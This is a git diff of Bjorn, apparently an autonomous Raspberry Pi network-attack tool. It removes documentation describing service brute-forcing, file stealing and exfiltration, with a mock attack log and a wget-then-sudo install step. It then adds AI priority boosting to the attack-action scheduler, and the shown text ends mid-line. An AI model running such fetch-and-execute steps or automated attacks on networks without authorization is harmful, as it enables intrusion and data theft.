🧰 Manual Install - -#### Step 1: Activate SPI & I2C - -```bash -sudo raspi-config -``` - -- Navigate to **"Interface Options"**. -- Enable **SPI**. -- Enable **I2C**. - -#### Step 2: System Dependencies - -```bash -# Update system -sudo apt-get update && sudo apt-get upgrade -y - -# Install required packages - - sudo apt install -y \ - libjpeg-dev \ - zlib1g-dev \ - libpng-dev \ - python3-dev \ - libffi-dev \ - libssl-dev \ - libgpiod-dev \ - libi2c-dev \ - libatlas-base-dev \ - build-essential \ - python3-pip \ - wget \ - lsof \ - git \ - libopenjp2-7 \ - nmap \ - libopenblas-dev \ - bluez-tools \ - bluez \ - dhcpcd5 \ - bridge-utils \ - python3-pil - - -# Update Nmap scripts database - -sudo nmap --script-updatedb - -``` - -#### Step 3: Bjorn Installation - -```bash -# Clone the Bjorn repository -cd /home/bjorn -git clone https://github.com/infinition/Bjorn.git -cd Bjorn - -# Install Python dependencies within the virtual environment -sudo pip install -r requirements.txt --break-system-packages -# As i did not succeed "for now" to get a stable installation with a virtual environment, i installed the dependencies system wide (with --break-system-packages), it did not cause any issue so far. You can try to install them in a virtual environment if you want. -``` - -##### 3.1: Configure E-Paper Display Type -Choose your e-Paper HAT version by modifying the configuration file: - -1. Open the configuration file: -```bash -sudo vi /home/bjorn/Bjorn/config/shared_config.json -``` -Press i to enter insert mode -Locate the line containing "epd_type": -Change the value according to your screen model: - -- For 2.13 V1: "epd_type": "epd2in13", -- For 2.13 V2: "epd_type": "epd2in13_V2", -- For 2.13 V3: "epd_type": "epd2in13_V3", -- For 2.13 V4: "epd_type": "epd2in13_V4", - -Press Esc to exit insert mode -Type :wq and press Enter to save and quit - -#### Step 4: Configure File Descriptor Limits - -To prevent `OSError: [Errno 24] Too many open files`, it's essential to increase the file descriptor limits. - -##### 4.1: Modify File Descriptor Limits for All Users - -Edit `/etc/security/limits.conf`: - -```bash -sudo vi /etc/security/limits.conf -``` - -Add the following lines: - -``` -* soft nofile 65535 -* hard nofile 65535 -root soft nofile 65535 -root hard nofile 65535 -``` - -##### 4.2: Configure Systemd Limits - -Edit `/etc/systemd/system.conf`: - -```bash -sudo vi /etc/systemd/system.conf -``` - -Uncomment and modify: - -``` -DefaultLimitNOFILE=65535 -``` - -Edit `/etc/systemd/user.conf`: - -```bash -sudo vi /etc/systemd/user.conf -``` - -Uncomment and modify: - -``` -DefaultLimitNOFILE=65535 -``` - -##### 4.3: Create or Modify `/etc/security/limits.d/90-nofile.conf` - -```bash -sudo vi /etc/security/limits.d/90-nofile.conf -``` - -Add: - -``` -root soft nofile 65535 -root hard nofile 65535 -``` - -##### 4.4: Adjust the System-wide File Descriptor Limit - -Edit `/etc/sysctl.conf`: - -```bash -sudo vi /etc/sysctl.conf -``` - -Add: - -``` -fs.file-max = 2097152 -``` - -Apply the changes: - -```bash -sudo sysctl -p -``` - -#### Step 5: Reload Systemd and Apply Changes - -Reload systemd to apply the new file descriptor limits: - -```bash -sudo systemctl daemon-reload -``` - -#### Step 6: Modify PAM Configuration Files - -PAM (Pluggable Authentication Modules) manages how limits are enforced for user sessions. To ensure that the new file descriptor limits are respected, update the following configuration files. - -##### Step 6.1: Edit `/etc/pam.d/common-session` and `/etc/pam.d/common-session-noninteractive` - -```bash -sudo vi /etc/pam.d/common-session -sudo vi /etc/pam.d/common-session-noninteractive -``` - -Add this line at the end of both files: - -``` -session required pam_limits.so -``` - -This ensures that the limits set in `/etc/security/limits.conf` are enforced for all user sessions. - -#### Step 7: Configure Services - -##### 7.1: Bjorn Service - -Create the service file: - -```bash -sudo vi /etc/systemd/system/bjorn.service -``` - -Add the following content: - -```ini -[Unit] -Description=Bjorn Service -DefaultDependencies=no -Before=basic.target -After=local-fs.target - -[Service] -ExecStartPre=/home/bjorn/Bjorn/kill_port_8000.sh -ExecStart=/usr/bin/python3 /home/bjorn/Bjorn/Bjorn.py -WorkingDirectory=/home/bjorn/Bjorn -StandardOutput=inherit -StandardError=inherit -Restart=always -User=root - -# Check open files and restart if it reached the limit (ulimit -n buffer of 1000) -ExecStartPost=/bin/bash -c 'FILE_LIMIT=$(ulimit -n); THRESHOLD=$(( FILE_LIMIT - 1000 )); while :; do TOTAL_OPEN_FILES=$(lsof | wc -l); if [ "$TOTAL_OPEN_FILES" -ge "$THRESHOLD" ]; then echo "File descriptor threshold reached: $TOTAL_OPEN_FILES (threshold: $THRESHOLD). Restarting service."; systemctl restart bjorn.service; exit 0; fi; sleep 10; done &' - -[Install] -WantedBy=multi-user.target -``` - - - -##### 7.2: Port 8000 Killer Script - -Create the script to free up port 8000: - -```bash -vi /home/bjorn/Bjorn/kill_port_8000.sh -``` - -Add: - -```bash -#!/bin/bash -PORT=8000 -PIDS=$(lsof -t -i:$PORT) - -if [ -n "$PIDS" ]; then - echo "Killing PIDs using port $PORT: $PIDS" - kill -9 $PIDS -fi -``` - -Make the script executable: - -```bash -chmod +x /home/bjorn/Bjorn/kill_port_8000.sh -``` - - -##### 7.3: USB Gadget Configuration - -Modify `/boot/firmware/cmdline.txt`: - -```bash -sudo vi /boot/firmware/cmdline.txt -``` - -Add the following right after `rootwait`: - -``` -modules-load=dwc2,g_ether -``` - -Modify `/boot/firmware/config.txt`: - -```bash -sudo vi /boot/firmware/config.txt -``` - -Add at the end of the file: - -``` -dtoverlay=dwc2 -``` - -Create the USB gadget script: - -```bash -sudo vi /usr/local/bin/usb-gadget.sh -``` - -Add the following content: - -```bash -#!/bin/bash -set -e - -modprobe libcomposite -cd /sys/kernel/config/usb_gadget/ -mkdir -p g1 -cd g1 - -echo 0x1d6b > idVendor -echo 0x0104 > idProduct -echo 0x0100 > bcdDevice -echo 0x0200 > bcdUSB - -mkdir -p strings/0x409 -echo "fedcba9876543210" > strings/0x409/serialnumber -echo "Raspberry Pi" > strings/0x409/manufacturer -echo "Pi Zero USB" > strings/0x409/product - -mkdir -p configs/c.1/strings/0x409 -echo "Config 1: ECM network" > configs/c.1/strings/0x409/configuration -echo 250 > configs/c.1/MaxPower - -mkdir -p functions/ecm.usb0 - -# Check for existing symlink and remove if necessary -if [ -L configs/c.1/ecm.usb0 ]; then - rm configs/c.1/ecm.usb0 -fi -ln -s functions/ecm.usb0 configs/c.1/ - -# Ensure the device is not busy before listing available USB device controllers -max_retries=10 -retry_count=0 - -while ! ls /sys/class/udc > UDC 2>/dev/null; do - if [ $retry_count -ge $max_retries ]; then - echo "Error: Device or resource busy after $max_retries attempts." - exit 1 - fi - retry_count=$((retry_count + 1)) - sleep 1 -done - -# Check if the usb0 interface is already configured -if ! ip addr show usb0 | grep -q "172.20.2.1"; then - ifconfig usb0 172.20.2.1 netmask 255.255.255.0 -else - echo "Interface usb0 already configured." -fi -``` - -Make the script executable: - -```bash -sudo chmod +x /usr/local/bin/usb-gadget.sh -``` - -Create the systemd service: - -```bash -sudo vi /etc/systemd/system/usb-gadget.service -``` - -Add: - -```ini -[Unit] -Description=USB Gadget Service -After=network.target - -[Service] -ExecStartPre=/sbin/modprobe libcomposite -ExecStart=/usr/local/bin/usb-gadget.sh -Type=simple -RemainAfterExit=yes - -[Install] -WantedBy=multi-user.target -``` - -Configure `usb0`: - -```bash -sudo vi /etc/network/interfaces -``` - -Add: - -```bash -allow-hotplug usb0 -iface usb0 inet static - address 172.20.2.1 - netmask 255.255.255.0 -``` - -Reload the services: - -```bash -sudo systemctl daemon-reload -sudo systemctl enable systemd-networkd -sudo systemctl enable usb-gadget -sudo systemctl start systemd-networkd -sudo systemctl start usb-gadget -``` - -You must reboot to be able to use it as a USB gadget (with ip) -###### Windows PC Configuration - -Set the static IP address on your Windows PC: - -- **IP Address**: `172.20.2.2` -- **Subnet Mask**: `255.255.255.0` -- **Default Gateway**: `172.20.2.1` -- **DNS Servers**: `8.8.8.8`, `8.8.4.4` - ---- - -## 📜 License - -2024 - Bjorn is distributed under the MIT License. For more details, please refer to the [LICENSE](LICENSE) file included in this repository. diff --git a/LICENSE b/LICENSE deleted file mode 100644 index 5d4dfdd..0000000 --- a/LICENSE +++ /dev/null @@ -1,21 +0,0 @@ -MIT License - -Copyright (c) 2024 infinition - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -SOFTWARE. diff --git a/README.md b/README.md deleted file mode 100644 index b43cbf5..0000000 --- a/README.md +++ /dev/null @@ -1,179 +0,0 @@ -# thumbnail_IMG_0546 Bjorn - -![Python](https://img.shields.io/badge/Python-3776AB?logo=python&logoColor=fff) -![Status](https://img.shields.io/badge/Status-Development-blue.svg) -[![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT) - -[![Reddit](https://img.shields.io/badge/Reddit-Bjorn__CyberViking-orange?style=for-the-badge&logo=reddit)](https://www.reddit.com/r/Bjorn_CyberViking) -[![Discord](https://img.shields.io/badge/Discord-Join%20Us-7289DA?style=for-the-badge&logo=discord)](https://discord.com/invite/B3ZH9taVfT) - -

- thumbnail_IMG_0546 - bjorn_epd-removebg-preview -

- -Bjorn is a « Tamagotchi like » sophisticated, autonomous network scanning, vulnerability assessment, and offensive security tool designed to run on a Raspberry Pi equipped with a 2.13-inch e-Paper HAT. This document provides a detailed explanation of the project. - - -## 📚 Table of Contents - -- [Introduction](#-introduction) -- [Features](#-features) -- [Getting Started](#-getting-started) - - [Prerequisites](#-prerequisites) - - [Installation](#-installation) -- [Quick Start](#-quick-start) -- [Usage Example](#-usage-example) -- [Contributing](#-contributing) -- [License](#-license) -- [Contact](#-contact) - -## 📄 Introduction - -Bjorn is a powerful tool designed to perform comprehensive network scanning, vulnerability assessment, and data ex-filtration. Its modular design and extensive configuration options allow for flexible and targeted operations. By combining different actions and orchestrating them intelligently, Bjorn can provide valuable insights into network security and help identify and mitigate potential risks. - -The e-Paper HAT display and web interface make it easy to monitor and interact with Bjorn, providing real-time updates and status information. With its extensible architecture and customizable actions, Bjorn can be adapted to suit a wide range of security testing and monitoring needs. - -## 🌟 Features - -- **Network Scanning**: Identifies live hosts and open ports on the network. -- **Vulnerability Assessment**: Performs vulnerability scans using Nmap and other tools. -- **System Attacks**: Conducts brute-force attacks on various services (FTP, SSH, SMB, RDP, Telnet, SQL). -- **File Stealing**: Extracts data from vulnerable services. -- **User Interface**: Real-time display on the e-Paper HAT and web interface for monitoring and interaction. - -[![Architecture](https://img.shields.io/badge/ARCHITECTURE-Read_Docs-ff69b4?style=for-the-badge&logo=github)](./ARCHITECTURE.md) - -![Bjorn Display](https://github.com/infinition/Bjorn/assets/37984399/bcad830d-77d6-4f3e-833d-473eadd33921) - -## 🚀 Getting Started - -## 📌 Prerequisites - -### 📋 Prerequisites for RPI zero W (32bits) - -![image](https://github.com/user-attachments/assets/3980ec5f-a8fc-4848-ab25-4356e0529639) - -- Raspberry Pi OS installed. - - Stable: - - System: 32-bit - - Kernel version: 6.6 - - Debian version: 12 (bookworm) '2024-10-22-raspios-bookworm-armhf-lite' -- Username and hostname set to `bjorn`. -- 2.13-inch e-Paper HAT connected to GPIO pins. - -### 📋 Prerequisites for RPI zero W2 (64bits) - -![image](https://github.com/user-attachments/assets/e8d276be-4cb2-474d-a74d-b5b6704d22f5) - -I did not develop Bjorn for the raspberry pi zero w2 64bits, but several feedbacks have attested that the installation worked perfectly. - -- Raspberry Pi OS installed. - - Stable: - - System: 64-bit - - Kernel version: 6.6 - - Debian version: 12 (bookworm) '2024-10-22-raspios-bookworm-arm64-lite' -- Username and hostname set to `bjorn`. -- 2.13-inch e-Paper HAT connected to GPIO pins. - - -At the moment the paper screen v2 v4 have been tested and implemented. -I juste hope the V1 & V3 will work the same. - -### 🔨 Installation - -The fastest way to install Bjorn is using the automatic installation script : - -```bash -# Download and run the installer -wget https://raw.githubusercontent.com/infinition/Bjorn/refs/heads/main/install_bjorn.sh -sudo chmod +x install_bjorn.sh && sudo ./install_bjorn.sh -# Choose the choice 1 for automatic installation. It may take a while as a lot of packages and modules will be installed. You must reboot at the end. -``` - -For **detailed information** about **installation** process go to [Install Guide](INSTALL.md) - -## ⚡ Quick Start - -**Need help ? You struggle to find Bjorn's IP after the installation ?** -Use my Bjorn Detector & SSH Launcher : - -[https://github.com/infinition/bjorn-detector](https://github.com/infinition/bjorn-detector) - -![ezgif-1-a310f5fe8f](https://github.com/user-attachments/assets/182f82f0-5c3a-48a9-a75e-37b9cfa2263a) - -**Hmm, You still need help ?** -For **detailed information** about **troubleshooting** go to [Troubleshooting](TROUBLESHOOTING.md) - -**Quick Installation**: you can use the fastest way to install **Bjorn** [Getting Started](#-getting-started) - -## 💡 Usage Example - -Here's a demonstration of how Bjorn autonomously hunts through your network like a Viking raider (fake demo for illustration): - -```bash -# Reconnaissance Phase -[NetworkScanner] Discovering alive hosts... -[+] Host found: 192.168.1.100 - ├── Ports: 22,80,445,3306 - └── MAC: 00:11:22:33:44:55 - -# Attack Sequence -[NmapVulnScanner] Found vulnerabilities on 192.168.1.100 - ├── MySQL 5.5 < 5.7 - User Enumeration - └── SMB - EternalBlue Candidate - -[SSHBruteforce] Cracking credentials... -[+] Success! user:password123 -[StealFilesSSH] Extracting sensitive data... - -# Automated Data Exfiltration -[SQLBruteforce] Database accessed! -[StealDataSQL] Dumping tables... -[SMBBruteforce] Share accessible -[+] Found config files, credentials, backups... -``` - -This is just a demo output - actual results will vary based on your network and target configuration. - -All discovered data is automatically organized in the data/output/ directory, viewable through both the e-Paper display (as indicators) and web interface. -Bjorn works tirelessly, expanding its network knowledge base and growing stronger with each discovery. - -No constant monitoring needed - just deploy and let Bjorn do what it does best: hunt for vulnerabilities. - -🔧 Expand Bjorn's Arsenal! -Bjorn is designed to be a community-driven weapon forge. Create and share your own attack modules! - -⚠️ **For educational and authorized testing purposes only** ⚠️ - -## 🤝 Contributing - -The project welcomes contributions in: - -- New attack modules. -- Bug fixes. -- Documentation. -- Feature improvements. - -For **detailed information** about **contributing** process go to [Contributing Docs](CONTRIBUTING.md), [Code Of Conduct](CODE_OF_CONDUCT.md) and [Development Guide](DEVELOPMENT.md). - -## 📫 Contact - -- **Report Issues**: Via GitHub. -- **Guidelines**: - - Follow ethical guidelines. - - Document reproduction steps. - - Provide logs and context. - -- **Author**: __infinition__ -- **GitHub**: [infinition/Bjorn](https://github.com/infinition/Bjorn) - -## 🌠 Stargazers - -[![Star History Chart](https://api.star-history.com/svg?repos=infinition/bjorn&type=Date)](https://star-history.com/#infinition/bjorn&Date) - ---- - -## 📜 License - -2024 - Bjorn is distributed under the MIT License. For more details, please refer to the [LICENSE](LICENSE) file included in this repository. diff --git a/SECURITY.md b/SECURITY.md deleted file mode 100644 index a3dc6dd..0000000 --- a/SECURITY.md +++ /dev/null @@ -1,48 +0,0 @@ -# 🔒 Security Policy - -Security Policy for **Bjorn** repository includes all required compliance matrix and artifact mapping. - -## 🧮 Supported Versions - -We provide security updates for the following versions of our project: - -| Version | Status | Secure | -| ------- |-------------| ------ | -| 1.0.0 | Development | No | - -## 🛡️ Security Practices - -- We follow best practices for secure coding and infrastructure management. -- Regular security audits and code reviews are conducted to identify and mitigate potential risks. -- Dependencies are monitored and updated to address known vulnerabilities. - -## 📲 Security Updates - -- Security updates are released as soon as possible after a vulnerability is confirmed. -- Users are encouraged to update to the latest version to benefit from security fixes. - -## 🚨 Reporting a Vulnerability - -If you discover a security vulnerability within this project, please follow these steps: - -1. **Do not create a public issue.** Instead, contact us directly to responsibly disclose the vulnerability. - -2. **Email** [bjorn-cyberviking@outlook.com](mailto:bjorn-cyberviking@outlook.com) with the following information: - - - A description of the vulnerability. - - Steps to reproduce the issue. - - Any potential impact or severity. - -3. **Wait for a response.** We will acknowledge your report and work with you to address the issue promptly. - -## 🛰️ Additional Resources - -- [OWASP Security Guidelines](https://owasp.org/) - -Thank you for helping us keep this project secure! - ---- - -## 📜 License - -2024 - Bjorn is distributed under the MIT License. For more details, please refer to the [LICENSE](LICENSE) file included in this repository. diff --git a/TROUBLESHOOTING.md b/TROUBLESHOOTING.md deleted file mode 100644 index 5fe0241..0000000 --- a/TROUBLESHOOTING.md +++ /dev/null @@ -1,80 +0,0 @@ -# 🐛 Known Issues and Troubleshooting - -

- thumbnail_IMG_0546 -

- -## 📚 Table of Contents - -- [Current Development Issues](#-current-development-issues) -- [Troubleshooting Steps](#-troubleshooting-steps) -- [License](#-license) - -## 🪲 Current Development Issues - -### Long Runtime Issue - -- **Problem**: `OSError: [Errno 24] Too many open files` -- **Status**: Partially resolved with system limits configuration. -- **Workaround**: Implemented file descriptor limits increase. -- **Monitoring**: Check open files with `lsof -p $(pgrep -f Bjorn.py) | wc -l` -- At the moment the logs show periodically this information as (FD : XXX) - -## 🛠️ Troubleshooting Steps - -### Service Issues - -```bash -#See bjorn journalctl service -journalctl -fu bjorn.service - -# Check service status -sudo systemctl status bjorn.service - -# View detailed logs -sudo journalctl -u bjorn.service -f - -or - -sudo tail -f /home/bjorn/Bjorn/data/logs/* - - -# Check port 8000 usage -sudo lsof -i :8000 -``` - -### Display Issues - -```bash -# Verify SPI devices -ls /dev/spi* - -# Check user permissions -sudo usermod -a -G spi,gpio bjorn -``` - -### Network Issues - -```bash -# Check network interfaces -ip addr show - -# Test USB gadget interface -ip link show usb0 -``` - -### Permission Issues - -```bash -# Fix ownership -sudo chown -R bjorn:bjorn /home/bjorn/Bjorn - -# Fix permissions -sudo chmod -R 755 /home/bjorn/Bjorn -``` - ---- - -## 📜 License - -2024 - Bjorn is distributed under the MIT License. For more details, please refer to the [LICENSE](LICENSE) file included in this repository. diff --git a/action_scheduler.py b/action_scheduler.py index 3a989a2..dc7352e 100644 --- a/action_scheduler.py +++ b/action_scheduler.py @@ -1,4 +1,4 @@ -# action_scheduler.py +# action_scheduler.py testsdd # Smart Action Scheduler for Bjorn - queue-only implementation # Handles trigger evaluation, requirements checking, and queue management. # @@ -24,6 +24,7 @@ from typing import Any, Dict, List, Optional, Tuple from init_shared import shared_data from logger import Logger +from ai_engine import get_or_create_ai_engine logger = Logger(name="action_scheduler.py") @@ -73,6 +74,8 @@ class ActionScheduler: # Runtime flags self.running = True self.check_interval = 5 # seconds between iterations + self._stop_event = threading.Event() + self._error_backoff = 1.0 # Action definition cache self._action_definitions: Dict[str, Dict[str, Any]] = {} @@ -85,6 +88,22 @@ class ActionScheduler: self._last_source_is_studio: Optional[bool] = None # Enforce DB invariants (idempotent) self._ensure_db_invariants() + + # Throttling for priorities + self._last_priority_update = 0.0 + self._priority_update_interval = 60.0 # seconds + + # Initialize AI engine for recommendations ONLY in AI mode. + # Uses singleton so model weights are loaded only once across the process. + self.ai_engine = None + if self.shared_data.operation_mode == "AI": + self.ai_engine = get_or_create_ai_engine(self.shared_data) + if self.ai_engine is None: + logger.info_throttled( + "AI engine unavailable in scheduler; continuing heuristic-only", + key="scheduler_ai_init_failed", + interval_s=300.0, + ) logger.info("ActionScheduler initialized") @@ -95,8 +114,24 @@ class ActionScheduler: logger.info("ActionScheduler starting main loop") while self.running and not self.shared_data.orchestrator_should_exit: try: + # If the user toggles AI mode at runtime, enable/disable AI engine without restart. + if self.shared_data.operation_mode == "AI" and self.ai_engine is None: + self.ai_engine = get_or_create_ai_engine(self.shared_data) + if self.ai_engine: + logger.info("Scheduler: AI engine enabled (singleton)") + else: + logger.info_throttled( + "Scheduler: AI engine unavailable; staying heuristic-only", + key="scheduler_ai_enable_failed", + interval_s=300.0, + ) + elif self.shared_data.operation_mode != "AI" and self.ai_engine is not None: + self.ai_engine = None + # Refresh action cache if needed self._refresh_cache_if_needed() + # Keep queue consistent with current enable/disable flags. + self._cancel_queued_disabled_actions() # 1) Promote scheduled actions that are due self._promote_scheduled_to_pending() @@ -114,21 +149,260 @@ class ActionScheduler: self.cleanup_queue() self.update_priorities() - time.sleep(self.check_interval) + self._error_backoff = 1.0 + if self._stop_event.wait(self.check_interval): + break except Exception as e: logger.error(f"Error in scheduler loop: {e}") - time.sleep(self.check_interval) + if self._stop_event.wait(self._error_backoff): + break + self._error_backoff = min(self._error_backoff * 2.0, 15.0) logger.info("ActionScheduler stopped") + # ----------------------------------------------------------------- priorities + + def update_priorities(self): + """ + Update priorities of pending actions. + 1. Increase priority over time (starvation prevention) with MIN(100) cap. + 2. [AI Mode] Boost priority of actions recommended by AI engine. + """ + now = time.time() + if now - self._last_priority_update < self._priority_update_interval: + return + + try: + # 1. Anti-starvation aging: +1 per minute for actions waiting >1 hour. + # julianday is portable across all SQLite builds. + # MIN(100) cap prevents unbounded priority inflation. + affected = self.db.execute( + """ + UPDATE action_queue + SET priority = MIN(100, priority + 1) + WHERE status='pending' + AND julianday('now') - julianday(created_at) > 0.0417 + """ + ) + + self._last_priority_update = now + + if affected and affected > 0: + logger.debug(f"Aged {affected} pending actions in queue") + + # 2. AI Recommendation Boost + if self.shared_data.operation_mode == "AI" and self.ai_engine: + self._apply_ai_priority_boost() + elif self.shared_data.operation_mode == "AI" and not self.ai_engine: + logger.warning("Operation mode is AI, but ai_engine is not initialized!") + + except Exception as e: + logger.error(f"Failed to update priorities: {e}") + + def _apply_ai_priority_boost(self): + """Boost priority of actions recommended by AI engine.""" + try: + if not self.ai_engine: + logger.warning("AI Boost skipped: ai_engine is None") + return + + # Get list of unique hosts with pending actions + hosts = self.db.query(""" + SELECT DISTINCT mac_address FROM action_queue + WHERE status='pending' + """) + + if not hosts: + return + + for row in hosts: + mac = row['mac_address'] + if not mac: + continue + + # Get available actions for this host + available = [ + r['action_name'] for r in self.db.query(""" + SELECT DISTINCT action_name FROM action_queue + WHERE mac_address=? AND status='pending' + """, (mac,)) + ] + + if not available: + continue + + # Get host context + host_data = self.db.get_host_by_mac(mac) + if not host_data: + continue + + context = { + 'mac': mac, + 'hostname': (host_data.get('hostnames') or '').split(';')[0], + 'ports': [ + int(p) for p in (host_data.get('ports') or '').split(';') + if p.isdigit() + ] + } + + # Ask AI for recommendation + recommended_action, confidence, debug = self.ai_engine.choose_action( + host_context=context, + available_actions=available, + exploration_rate=0.0 # No exploration in scheduler + ) + if not isinstance(debug, dict): + debug = {} + + threshold = self._get_ai_confirm_threshold() + if recommended_action and confidence >= threshold: # Only boost if confident + # Boost recommended action + boost_amount = int(20 * confidence) # Scale boost by confidence + + affected = self.db.execute(""" + UPDATE action_queue + SET priority = priority + ? + WHERE mac_address=? AND action_name=? AND status='pending' + """, (boost_amount, mac, recommended_action)) + + if affected and affected > 0: + # NEW: Update metadata to reflect AI influence + try: + # We fetch all matching IDs to update their metadata + rows = self.db.query(""" + SELECT id, metadata FROM action_queue + WHERE mac_address=? AND action_name=? AND status='pending' + """, (mac, recommended_action)) + + for row in rows: + meta = json.loads(row['metadata'] or '{}') + meta['decision_method'] = f"ai_boosted ({debug.get('method', 'unknown')})" + meta['decision_origin'] = "ai_boosted" + meta['decision_scope'] = "priority_boost" + meta['ai_confidence'] = confidence + meta['ai_threshold'] = threshold + meta['ai_method'] = str(debug.get('method', 'unknown')) + meta['ai_recommended_action'] = recommended_action + meta['ai_model_loaded'] = bool(getattr(self.ai_engine, "model_loaded", False)) + meta['ai_reason'] = "priority_boost_applied" + meta['ai_debug'] = debug # Includes all_scores and input_vector + self.db.execute("UPDATE action_queue SET metadata=? WHERE id=?", + (json.dumps(meta), row['id'])) + except Exception as meta_e: + logger.error(f"Failed to update metadata for AI boost: {meta_e}") + + logger.info( + f"[AI_BOOST] action={recommended_action} mac={mac} boost={boost_amount} " + f"conf={float(confidence):.2f} thr={float(threshold):.2f} " + f"method={debug.get('method', 'unknown')}" + ) + + except Exception as e: + logger.error(f"Error applying AI priority boost: {e}") + def stop(self): """Stop the scheduler.""" logger.info("Stopping ActionScheduler...") self.running = False + self._stop_event.set() # --------------------------------------------------------------- definitions + def _get_ai_confirm_threshold(self) -> float: + """Return normalized AI confirmation threshold in [0.0, 1.0].""" + try: + raw = float(getattr(self.shared_data, "ai_confirm_threshold", 0.3)) + except Exception: + raw = 0.3 + return max(0.0, min(1.0, raw)) + + def _annotate_decision_metadata( + self, + metadata: Dict[str, Any], + action_name: str, + context: Dict[str, Any], + decision_scope: str, + ) -> None: + """ + Fill metadata with a consistent decision trace: + decision_method/origin + AI method/confidence/threshold/reason. + """ + metadata.setdefault("decision_method", "heuristic") + metadata.setdefault("decision_origin", "heuristic") + metadata["decision_scope"] = decision_scope + + threshold = self._get_ai_confirm_threshold() + metadata["ai_threshold"] = threshold + + if self.shared_data.operation_mode != "AI": + metadata["ai_reason"] = "ai_mode_disabled" + return + + if not self.ai_engine: + metadata["ai_reason"] = "ai_engine_unavailable" + return + + try: + recommended, confidence, debug = self.ai_engine.choose_action( + host_context=context, + available_actions=[action_name], + exploration_rate=0.0, + ) + + ai_method = str((debug or {}).get("method", "unknown")) + confidence_f = float(confidence or 0.0) + model_loaded = bool(getattr(self.ai_engine, "model_loaded", False)) + + metadata["ai_method"] = ai_method + metadata["ai_confidence"] = confidence_f + metadata["ai_recommended_action"] = recommended or "" + metadata["ai_model_loaded"] = model_loaded + + if recommended == action_name and confidence_f >= threshold: + metadata["decision_method"] = f"ai_confirmed ({ai_method})" + metadata["decision_origin"] = "ai_confirmed" + metadata["ai_reason"] = "recommended_above_threshold" + elif recommended != action_name: + metadata["decision_origin"] = "heuristic" + metadata["ai_reason"] = "recommended_different_action" + else: + metadata["decision_origin"] = "heuristic" + metadata["ai_reason"] = "confidence_below_threshold" + + except Exception as e: + metadata["ai_reason"] = "ai_check_failed" + logger.debug(f"AI decision annotation failed for {action_name}: {e}") + + def _log_queue_decision( + self, + action_name: str, + mac: str, + metadata: Dict[str, Any], + target_port: Optional[int] = None, + target_service: Optional[str] = None, + ) -> None: + """Emit a compact, explicit queue-decision log line.""" + decision = str(metadata.get("decision_method", "heuristic")) + origin = str(metadata.get("decision_origin", "heuristic")) + ai_method = str(metadata.get("ai_method", "n/a")) + ai_reason = str(metadata.get("ai_reason", "n/a")) + ai_conf = metadata.get("ai_confidence") + ai_thr = metadata.get("ai_threshold") + scope = str(metadata.get("decision_scope", "unknown")) + + conf_txt = f"{float(ai_conf):.2f}" if isinstance(ai_conf, (int, float)) else "n/a" + thr_txt = f"{float(ai_thr):.2f}" if isinstance(ai_thr, (int, float)) else "n/a" + model_loaded = bool(metadata.get("ai_model_loaded", False)) + port_txt = "None" if target_port is None else str(target_port) + svc_txt = target_service if target_service else "None" + + logger.info( + f"[QUEUE_DECISION] scope={scope} action={action_name} mac={mac} port={port_txt} service={svc_txt} " + f"decision={decision} origin={origin} ai_method={ai_method} conf={conf_txt} thr={thr_txt} " + f"model_loaded={model_loaded} reason={ai_reason}" + ) + # ---------- replace this method ---------- def _refresh_cache_if_needed(self): """Refresh action definitions cache if expired or source flipped.""" @@ -160,6 +434,9 @@ class ActionScheduler: # Build cache (expect same action schema: b_class, b_trigger, b_action, etc.) self._action_definitions = {a["b_class"]: a for a in actions} + # Runtime truth: orchestrator loads from `actions`, so align b_enabled to it + # even when scheduler uses `actions_studio` as source. + self._overlay_runtime_enabled_flags() logger.info(f"Refreshed action cache from '{source}': {len(self._action_definitions)} actions") except AttributeError as e: @@ -179,6 +456,67 @@ class ActionScheduler: except Exception as e: logger.error(f"Failed to refresh action cache: {e}") + def _is_action_enabled(self, action_def: Dict[str, Any]) -> bool: + """Parse b_enabled robustly across int/bool/string/null values.""" + raw = action_def.get("b_enabled", 1) + if raw is None: + return True + if isinstance(raw, bool): + return raw + if isinstance(raw, (int, float)): + return int(raw) == 1 + s = str(raw).strip().lower() + if s in {"1", "true", "yes", "on"}: + return True + if s in {"0", "false", "no", "off"}: + return False + try: + return int(float(s)) == 1 + except Exception: + # Conservative default: keep action enabled when value is malformed. + return True + + def _overlay_runtime_enabled_flags(self): + """ + Override cached `b_enabled` with runtime `actions` table values. + This keeps scheduler decisions aligned with orchestrator loaded actions. + """ + try: + runtime_rows = self.db.list_actions() + runtime_map = {r.get("b_class"): r.get("b_enabled", 1) for r in runtime_rows} + for action_name, action_def in self._action_definitions.items(): + if action_name in runtime_map: + action_def["b_enabled"] = runtime_map[action_name] + except Exception as e: + logger.warning(f"Could not overlay runtime b_enabled flags: {e}") + + def _cancel_queued_disabled_actions(self): + """Cancel pending/scheduled queue entries for currently disabled actions.""" + try: + disabled = [ + name for name, definition in self._action_definitions.items() + if not self._is_action_enabled(definition) + ] + if not disabled: + return + + placeholders = ",".join("?" for _ in disabled) + affected = self.db.execute( + f""" + UPDATE action_queue + SET status='cancelled', + completed_at=CURRENT_TIMESTAMP, + error_message=COALESCE(error_message, 'disabled_by_config') + WHERE status IN ('scheduled','pending') + AND action_name IN ({placeholders}) + """, + tuple(disabled), + ) + if affected: + logger.info(f"Cancelled {affected} queued action(s) because b_enabled=0") + except Exception as e: + logger.error(f"Failed to cancel queued disabled actions: {e}") + # ------------------------------------------------------------------ helpers @@ -248,7 +586,7 @@ class ActionScheduler: for action in self._action_definitions.values(): if (action.get("b_action") or "normal") != "global": continue - if int(action.get("b_enabled", 1) or 1) != 1: 